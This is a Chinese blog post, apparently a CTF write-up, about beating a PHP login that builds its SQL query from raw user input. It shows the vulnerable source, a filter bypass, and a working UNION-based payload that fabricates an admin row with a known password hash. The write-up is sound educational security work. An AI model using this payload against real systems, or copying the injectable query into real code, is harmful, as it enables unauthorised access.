sql注入联合查询小技巧绕过验证

  • Post author:
  • Post category:其他




来源为一道ctf题目

<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";

// 去除转义
if (get_magic_quotes_gpc()) {
	function stripslashes_deep($value)
	{
		$value = is_array($value) ?
		array_map('stripslashes_deep', $value) :
		stripslashes($value);
		return $value;
	}

	$_POST = array_map('stripslashes_deep', $_POST);
	$_GET = array_map('stripslashes_deep', $_GET);
	$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
	$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}

mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);


if(preg_match("/\(|\)|\=|or/", $name)){
	die("do not hack me!");
}
else{
	if (!$result) {
		printf("Error: %s\n", mysqli_error($con));
		exit();
	}
	else{
		// echo '<pre>';
		$arr = mysqli_fetch_row($result);
		// print_r($arr);
		if($arr[1] == "admin"){
			if(md5($password) == $arr[2]){
				echo $flag;
			}
			else{
				die("wrong pass!");
			}
		}
		else{
			die("wrong user!");
		}
	}
}

?>


首先查看源码得到一段base32编码的注释,利用base32解码发现为一段base64编码,在使用base64解码得到了下面的一条查询语句


select * from user where username = '$name'


通过代码审计发现要想得到FLAG就必须输入正确的用户名和密码,这里就有一个小技巧了




联合查询有个小特性,就是在查询不存在的数据时,会构建一个虚拟数据

mysql> select * from user;
+----+----------+----------------------------------+
| id | username | passwd                           |
+----+----------+----------------------------------+
|  1 | admin    | cdc9c819c7f8be2628d4180669009d28 |
+----+----------+----------------------------------+


user表中只有一条数据,当我们用联合查询时会产生下面这种结果

mysql> select * from user union select 1,2,3;
+----+----------+----------------------------------+
| id | username | passwd                           |
+----+----------+----------------------------------+
|  1 | admin    | cdc9c819c7f8be2628d4180669009d28 |
|  1 | 2        | 3                                |
+----+----------+----------------------------------+


那么我们将payload写成

1' union select 1,'admin',md5(123)

,user表查出的数据就会变成下面这样

mysql> select * from user where username='1' union select 1,'admin',md5(123);
+----+----------+----------------------------------+
| id | username | passwd                           |
+----+----------+----------------------------------+
|  1 | admin    | 202cb962ac59075b964b07152d234b70 |
+----+----------+----------------------------------+


可以看到这张表中的password字段已经变成了123的MD5值。由于题目过滤了括号,所以我们最终的payload为

1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#



此时只需要在密码字框输入123即可拿到flag

在这里插入图片描述

在这里插入图片描述



版权声明:本文为m0_53065491原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。